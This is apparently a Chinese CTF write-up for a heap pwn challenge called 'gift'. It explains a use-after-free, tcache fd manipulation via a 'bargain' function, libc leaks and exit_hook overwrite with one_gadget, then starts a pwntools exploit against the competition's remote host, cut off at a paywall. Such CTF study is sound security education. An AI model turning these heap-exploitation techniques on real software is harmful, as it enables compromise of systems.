Pwn
gift
程序保护全开
程序功能:
-
add:最多只能申请十次堆块,每次申请大小为0x60或0x100,往里写内容的时候是往
user_data+0x10处写。 -
delete:有UAF
-
show:可泄露
-
bargain:可以用来控制fd。并且类型为int,比较类型也是有符号比较,所以可以减0x10范围内的数字,或者加int(4字节内)的数字。
因为这道题idx太少了,直接free掉7个chunk填满tcache_list不可行,所以我是通过bargain函数修改fd指针到一个fake_chunk,这个fake_chunk大小属于unsortedbin范围,且可通过add一次0x60大小堆块修改到下一个已被free的0x100大小tcache去改掉它的next指针。
这样的话不仅可以泄露unsorted bin 的fd,还可以顺带改掉下一个已经被free掉的tcache的fd,实现tcache_dup。
ps:这里也有个洞不过尝试了一下不好利用,在add里面mode选择3,会跳过malloc直接read:
问题出在,远程libc不确定,我最先尝试的是glibc 2.31 9.9,free_hook五个ogg都失败(one_gadget -l2可以查看更多ogg)。因为idx原因也打不了malloc_hook,我打exit_hook成功了。
尝试远程之后寄。
后来尝试了2.29和2.27,在2.27成功。
EXP:
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/巅峰极客/gift/pwn')
libc = ELF('/mnt/hgfs/ubuntu/巅峰极客/gift/libc.so.6')
r = remote('101.200.85.91',44388)
def menu(choice):
r.recvuntil(b"your choice:")
r.sendline(str(choice))
def add(what,content):
menu(2)
r.recvuntil(b"your choice:")
r.sendline(str(what))
r.recvuntil(b"plz write your wish on your gift!")
r.send(content)
def delete(idx):
menu(3)
r.

最低0.47元/天 解锁文章
959

被折叠的 条评论
为什么被折叠?



